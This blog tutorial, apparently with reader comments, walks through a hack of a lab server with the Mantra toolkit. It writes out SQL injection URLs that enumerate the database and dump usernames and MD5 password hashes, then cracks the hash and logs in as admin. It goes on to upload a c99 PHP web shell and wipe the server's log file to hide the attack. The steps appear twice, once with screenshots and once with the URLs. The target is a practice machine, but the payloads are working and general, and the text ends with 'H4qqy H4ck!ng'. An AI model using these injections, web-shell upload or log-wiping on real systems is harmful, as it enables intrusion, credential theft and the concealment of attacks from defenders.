Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tk0gcF30a7TnR5ZBxJ0H0-5qyaYhI7IOmJ71ZMg2HjmHGz8D59W1Wx4NM2c_fF6_eCGxv92-HSjBhyX0RyCcb9PDrlOaxnRgYCdiJ36Maq-uKYcllse2beGvbGAe9OJpyLNCCpsaDcurv7DC-AYm7amw_5B4Vmhb6EbRVg3A5FXF2S=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vkvNvp9P4vsBC-sjYHQ9AiSVpg55WgQJ53BCEPEo628dMVrvEjcCr56KX2Sh96cIvWWd4mMCpTQZHWlSNmTUWgkbXCZyZD84JAYs_qzN9D4-a9WHntrgWTPwjFV9eyty_cUdKdPglUflQoZ_aeERde7AIUWEhE17kz1sF2w8MsTcWgmg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFlk9Y7eVhSfR3vbtcjE7y7Y-jXEJcTGeVEtVHXVi8R5xtwYxbe-4a61Ilj9BtyBouH3bWItGXn8x5FCqDZRDmefPvILON5-TLcrhF-A1qKa3eYU4-zqqxRIFDhMg0OyBs78v0QGVVPwWq4C5FuiwEkwNY1j96eOUNxUYfMoqdB-ITcg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9wuAMcgYsOYVUEo2E6zQyBhBzqd2zAaS7qJoSta8zwGzEaWRRQdSejzsfT72cbVEXEBfjHhUVecVbVRpnuDVS3rGIFJecQvB02xGHr4bXPeZ1EOcpZ4Wgwnazy76JVGN2k7xrRgw-B-51rWyHmXwls96XRW8Nuj1FpV_-Zp3Vn5XuEA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vS0A876X6vG8KIH-KSU6TOWawAQI4topvw9VtJaX9bkYW6Rp-zo4JwbHJM2oJPXbeSuwMM0ei60wRrVF5Gt_TvuOxGxNrvFozO_Yd5C-dvFcpofVgmyfPjngVxmBjkBa1mmMyLTnWNei4evKl38L3cUusYbjKIa7czRQ2XEmnIS8djNw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s_O7p34sVBHI6U3lvNGcHBgBy9Ai0Apno2PQhTSEK2Y-dMV4CEUx1h5K4sej3sK5Kv2ElY19fp4eUlLSp-UUneBl67-oPxBk3hyN2sJNepZ0z8n3fwpgurzbkQSmI_DFtiEY-2FTSiq4SliSBPB6rJMRNs_J4LE038cQU2-da2vSLG=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8j0ZFsrF71vJRrfSZaF3EZWmSU7TTMgI5kFwUq_xrGYn2yjVGIwq5ap2PpHGUYhLjy9b-HN4VsHRAH7RuKkOe95NCwHs8oRAfSB4ekHPiQvB5rvyWHTT3qEsSBNErV0d5eizAe18qkcK45cx3cFuoLY5gkuYNRaX5CLgNbAOloqzF5GE=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uslh9qkRAHo1ULB180s2AKO2P0nASdgQ5Jxms1T3HP7qwFl8KaKz99l1og5P6I8RBXrOPeVAvRycnwJBpRFEZYl9AO2o-qzJyNKWD0P0bw59uhWptbJIvYHhx6EXMHQFUcLvTT9o_2VUHQCNuvF_u51SxdUU0O9fXKjhNYTznNE0ergG4=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQATZLFYMNrSxn1NCAAbISSr6nkgwlLv45ukVOz6YewpF11UP0I07iYbqhZqxmbwJrJYYdIwsOYHhGUBUbEoKEOd5UalKhbA84Sku_xfLK2VYAQhPRFYfgY2tmHGhhNHIDwYchngwQ85CIaiO6z48zR8vD1YeMLrOPNzhdnwDInXDuzHs=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-Rfl8ThGmJ3IActWIyW-Hka33NqjhIIeJmbV5lyKSXeDR_fbXPCseRPJvllQA4nqHjwQVjaoBEZkFYraKBtaFcMu3llTELaA1gTdJ6mAj_Z52IjpxmYE5x_TQCr8NdUxZo8wSAa_WeWN2gXpxeQwQ62H14dCRgfiGW3Wvrd9GZARcgpA=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXRJmfiO4Rnm_q3A2R7EPRFklxBGfXX3RGjvdCqR51nTXE7tMbEnOZ3Xqr3NP67iE6ISY-QBxzdaxQy6bstDY_lhLJ2MS87dHcJifiElG6lZbuPI0rrImYASUsuoBIYduuNzQjPvuLSB8UQSIgW1SHFjrgxez32BzHcrS6YZcQ0_Z1PA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uK78dmjXfKSPJXCr_95niGyddqsCuUY4C8hFlqODfvMp_vrqmIfHxAb2ru-C_3Dm_NcWKheFLKhWTbwQQ7HPmWhuN4xLV8xoO33CvL3wdOYtmqM3UQ3Y36hDGyR7N-C9DFAQNIyJ_g3jS473Sz4U0vh6faB_n4YsoqHm7bTpoUYQqf5J4=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t9YAERdejGxo-8Z7MBM9lYMRpSr7mqFsHc2iUFFaePLJTN0zpOSLz2mfVHYI7Hr-Qs_ZqP5hatk3i9paQg10YF3VnxmTIuPpFEk36mA6ta9s2E0ccS-TNjxpNqm5H_mtX2jcRePEEp00aa5RdL7fof4gXGob6eHX_bfPbvYNd3O1oaJyI=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tS7vORHAb50GSUTkaoyZjE3VF7QRdxu9b390Otkw4aSNLaqA-Y6E8eiBAIHQz_8Lnw6wJ5JY5py5sDt3iAFTXwq2CchwXLoL_UDk5THZIeNtFhlfQoIl5AB4pEYZLxVlwuBCUfYiS_Tq6mFqpuQ2jpp8IZIgvkNHcD1iacMf2h1PZVyA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqqlaVWzSPfSY1Mplku9ZoYANMdcT_uvpLZjx8Cbxn5GyKKI5kOhqZQqggz2O9ZiYtH2fHebkwwDafk_knFaXnbQAms-23CYAxWrpYdouL5F57DwGQLQ_nJd6DB7QwxM7ehpDa-vb97Q7hLZpY1miQbmCaNkcEG3K171VbbPq7lNMU_w=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhAof5dxuF5cJ_PMFiFEpQyFsm1c14SophMBGSY_kwe0tomHmKh8ciXmYNLsRdaUuP1RQOl3pDTmkbf3ZJ1dKCctbOaGKBVqmFgd5nh7i5Lv3dqtAoCvNd35V7o2r9OdYyxakvUWoMJXkFHAQdE-_n2vyW0fFc6lrp5Ib9AePePFki-t0=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t_qumjTKo6Zo3oeeAwQg0h23ctxYsMY_uECUACKt_rdXTksxXlAOZowMhRse-L_JEzdXio1ynbXixVAThjr3jIuZfB6xVTwiJXcd8hg9y7aLn-LGXARJGcuTvaJlr8C39E_8qdENhqLBudaHjzceapr0u_sjs-3oMgGXscZz6Ct60TlnM=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sSrSikQzHb5OYzogoKeZ9Z-5peTeu8TycYcKLLJyilFw_GtegP9dHaZTYN7zyDy71aRalcrnL2rRT3qZM4C3v6vWkc6QLr8xzOwW17ffxkPt3CosAeuFA5pQuQOTesrxeH5XnEjN5Sg6o2tuWzqGvfNEt7D8khmnZew1Twi5lIGpsYxgI=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uT9xWLbfk6uHAi1sKH0Sfa8p1gEycbqk1IP_oT7zl1GLCHi-XDRmZH22hd7yL1lp3_3jS7uJDsMoWfgEs4u7w-sy5amCyVFLyIK-k3Gb-W51XdgTAAn98ArdEZmDqYcUS3hbtKR_y5eTYBa1cwvtk4qbmDINVgl5y20ZAWn-jXRMxojig=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uBXDBlKd4K1ihKlcbXwE1qMeyPjZWjiTpfq2nK_RODyXAiy-ttoeeXHR2Zxkhmzxki0DPRaHjrUWwBYr9Cz-_Ea9kyjUjgLdnQcsXE6Y3h6Iwza17tk9FoU7oO-qfWGcLEm1bEZxNEF2hEZwZnbWGIOmVmPxVP4mQBW3VADntJ3_VxCh0=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOMzo4cAUiAQAMI66CEMn9JNKjS7W8PRjw0t8e0idVAlbYKnHVPcirrR5qOJhm1720h-Ca4lch5hlLuZERMMK5KYpJXdGELXQLqqajg-8XcVVjeEIyJfhBZ27lp6fJOpS-eC3vqPjws7nYEfOBgdfwpS-yC9WI2uK6OSSfrUQ1NqRhG6Y=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOtauMSSW9EqFkNcvUQYwoaIyjjx96IGlDS2lYPUDBi6B8JzOUeE2uXet5au2jtcFWetjAVOLdRh9At-4G_dWKzUgqb5sOOuOxmYOpo0r6zjipHtO6ypwbuAv4Nyq3pX-jhLv-z7t5Fd3L0M-M5g7MyXaZY50gkeU70Ii3brJ0ZflxByw=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQR0JiVseXEfsQHFTfWbn2eBWjwk283nrpw4WPM6_r8Uc1B1r6Dn4RhUFLrg19HYONIIv6_46LXgifOOi0te4meR4uBBw6eT1gB8fgItouG8-sLrNVUwKReV_cbrre4QVjh32JnBnc_26tPtyI6hu3vRGbPfDRlr0eCWYZvo1Cfpsgk4c=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u4KdMDdCMTZuiuAVAhXNpfOyn7Y2GwU5Wx05Awrz_Ze1BR0feVQ1E0ILXdlpmaFNTHPMuZYkA5wxmjdGUaR4YR8CuD8Gf9jwy3aRV-6ZKYlJzILludxM94njYWdkGsnlb65dSNjQrZrd7b7fAoE97TgLU7qMMF1-yC5mEzMJE45k-X7aU=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7krlQFJDkqUUuF8ckvxyDdz7ndPbHSfAvq7TpPLyzrwbN4pCbr1wAv8csLFdjzUtizXgt9TywabARAsCHubDlG9xGRE5Uvp_IkWshEgz65m3Qf7pLGlUjvXnjd61yVYpLrH8NWLRnFa8RKserlasrRNF2zi8GjDQgo_KxdbGlanHUng=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u4sUI4AlmtGHODdnRlt0fQpm881BS24iGg7JE_rUb8YnZwEomHAX53qzvd1WPyIc3trH9gx9oAU8ZX_sDkBTGm_Q9eo3Qray4lqH9cyN3ulmbp2Pc81TyQn3cy-ZEdQgIatWAIRj4H80k1C7-yP4Cksdmz3FMMybQJBoBzxWeUVW-NZw=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vijM1Jp3zpx0OFxPDD1tPHjVXUlOEQfRMe377t0I0X69Im0dQ3aimgPWWgpsvCtTrnA3CJYQYf_VsE9d-g_9S08VoBOndysVLBSPepg-sseeVxLubCu8UkkE2j6ynxt11jsF_ZVfa7lL4gvYLaLoYJH_QTAbpauUbm24UuRyzR-zGJAbw=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPksDHIg2xPk0QXmOezubUKVrkUXp6jCbDghVSIvD9m7Dzb0N25aJP4F3vngYpgi6S2EOiNNKlAq2fi5BIfiZAaCJFn4dsK2q5tgXA25MTo01VFukRRHGUhT6IcZ-8JqYttbETIGZp48RUt1evEku99GDw2CGTiSsR4AyhDMKWTQYvNMA=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sM95aEl4PehpIR5R9w-m3FwsrUg16FWeEKY_NLJbHswuZa9gYQ8k49IWbpfjCVMVJmrWELm6kxep7rh0sQIUcb_3nq7UlSmYCJrroAAhLvc2VPSMo3gsXsH3NaHhJEzMUCk_LRCWgoNvJzAda6dz6m025u3S4bP3uYLKFO42dTj2nlfA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8bZll277HXKbrDKcpEiNEzgTpD9Ie0y-yyMgF9wuOd2KU3AWVe2Kiv9a41ph8zWDcApnhUlH8xaDemMK0KRRd9ztxZrknRC7beYSovtoTjjvtUEo1Gc8JBcxazCEYZBGat4qnYMWBGJZKk6YkxR3dJUKOUvlUD8PylyqF-5xLQXsFP0w=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_szRCKhtgR17pgemcW51Wjsaj9fKQ985hV6fwvflpKB5cIrVEnerNmA1g5dP_njg4s7YYRVWzUFcL2wXp2nmeFw6JwdhQ19q4VxzTM_sZcPQICXh6c5wSD70d4BbTnvJB2K-ioJJv2PHV3vUWBNaGFRhjfxv2KWl3HAwcTT89h7DJcRxCQ=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZWhVw5fFDToMV1xxeyevpGsvIWLUxWiEbmHfpo4EucvVBWJ38OwbFA4wocIvRHo_KNMRr2LZvFvgzjTk64m6e4Epq44EZtNt0uqCQe_V3w8VAsYTwUxVBMhqOVrrwqMG3b2kNCUuu3ogXt8MB2fCFVo0IckzynHQG8W5S-XJEi1SEnxI=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vTxnWMEZ4pgQyJt0jOSReN6nDkZ6pmjYMsVSjFjY84AXKwvbPqlJZJ0itQpIY0jFZa_0Pyx8HDFHEhMGq-1WeCZ6NHFe65RUwKPyxhBznooDA7r2DnWf_u1DHypQqT7OvKfXAsgemdN9bcgDJccA5la5_pRebZvm99hIShJD-M9g4HHtc=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3ZzoFjK5OjZoq0BUEa-_28nRl2i2wRur-NjJ9Prv2LdV0Q3aJ03Tk_RaXFX6NVSrz3en5egiqciIXYGkSrxcPdX13VFcF2jFIb76B5CikeTC5JfalacaPrYhU6DuAHuvQYY1V4u-JCYsodKT5TRhl9lleTvdir03xoO7CXNNCA5V3Yho=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRdJ8z5DBzIS9eGqk46kHinwobNoUL9SNC7fBYgkX6n-ZA4_YVv0RzlFm4hI9KMhRoczB0mkt2Rv34wVcAs-HZU0OpC0D20BJBMBxNj40B3Oer0FWtSjYm8APHTkjPQtN-UGcRdv7V4sBk4Csvpaia18bqnCFe68nSxMKBklnHGGY7_Ew=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZJXgOpUSej_XZzCg_7t7-OLzaKRbJ0PgTG-csv9exJcqIeOyCTn2IyfUF5FTmdMoagjMpJFm8XAfap5SAy-O6Squ_ye4CHhlcbEO8EGqlI2vKG94vHNtWD6GVG3fW7DL-UWcj3TDeJVkPXqG1kgJKLRtBv1b1xf7sMKczR8S49xRNtHA=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t9Sh78M5BVpCCM6EioJRofsCD3y6hBrWjmODR_FFM3elGjPlPBXFozIcNQLdvIR6W_M2IFxeNzop8s1FNPd4PBBJ0FBlzkyGVRLYq8ZwJ6QrwXjzTUqUnLwlH_h6UaGdT0qZIelb0UqZeuOC1X_c4wybCKOhfFalVrjADdE7WUXGKfnQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tohf0ag3U1JP__Ku4E3oOWJ5TZZuJXodAzxLTtaLElv9qHNTlwhR2eB4uQp2bl-i_ryD5ZEDKA5xhO0IaiP6doBi1xTybe_0V7wnPqRloDGPrAUq1o6jnUvE4b7C5lLowMbr9E33_ShI8ScWrVO_piemKhxE8I82vbYB-d13ogKsqUUko=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8b6rsdWR1zNJLoyH5bH5EFfSctsSLQqQscaV9q8yZgPeGR5Olens8edRj1pBl_t34sDIIBg7JrFYmugeKtpCVzcttc72fUn4N5QDsJxYW10rtQg7cwv87AQQDWELHIKf4BNbD2Zn2rnehjmlYSTzPnpV6p3oYwlwz_s088dHKKed8ig=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uCqj4iZ16WCPI02N7B7S7KaVmveOE8cdINI3tj86-nJJyVFgfTFWIBRBjMJkbTAEqRZYNKrJa08AHU3-VAgz5TiQGWxXErWVDaKHccgo5ftmZA10G73aAbRmmWwk2FzpJM_WpblXG7ilGdtl7bFqqkgUtOSo38DSkCDwfjT1HgjpHokdA=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHEmKb2ECuwe9a4gmIa8ssELIqPQfK71s6dfQn9gCSXDsYPBnXm0I6SlfTQVC5GBETTX3GtjiJHPGw1RuW045BqjOlTQa8aKc8ZfryraSb0IMo3dReVVPstchivEfddALQs3gEs7OBJxOmmMIdY6kV7SiECLsEYmvzj4PlSJRn22H7F7c=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2E1ysLdn1mawna3O10Q5UHukELF9XhHNCQ7PV14UuzYiwxTe7QqEjF72j272dG3-fpi3FfDvZwGyLKYSPUPZdiBJFc1dLFHUcupia263uIRr3DIRzAi6mfbjz1p8hFJH0iacod7AwNs6Tp3WpNJ9k2WMg5rxvB-6gzgXNCabwtJnTBnY=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sUVLak8hl9pwYVlYuV6qTcrZ3t5sPe3g-qssmC4ZGaRA_jlMHhK6YoDjhDioSWZMZ4mFwaCf46B0NQs9WYNsl9aG6-fq7ji2kVk1W9c36pTgum5ZFoY8bwPQ3a0lliICPXhEKEaw7FDd9SRXQJV1SQT9ESmyFTBDlHxcBbS33q6ia1GFo=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulAZqVf1z7O4zE11moY_gDJsrw3HpZd6VPFxza2Yhrj1lslW0Z1EptyGyZLr0ZHso1mqj5r6mc5guzGROKBE1HT8fRx1xofdqnZnCsOFqOhsinmTXuXQjG7Nzg8hl8ixDfaboztrCLeJjRwfjxSJV8nlhjnUbvCChXSPhFqRbe_AZKcA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBPbCkTHW9OaWNkvZHRp4r3uGLXMmBTxmq8yF1H6owSHLJ7JPnchqjL4RjWBPqkuuvZr8q-0lWQ4GeEReYwPAcod0pDzsmoVMVQJnIedqJs2q-5LhIaLUeo4EIydjYcy8kncop-Ov0ilkxRidABMJA-zWMd5YVnx0iNnqDkJRNL0z7wZA=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete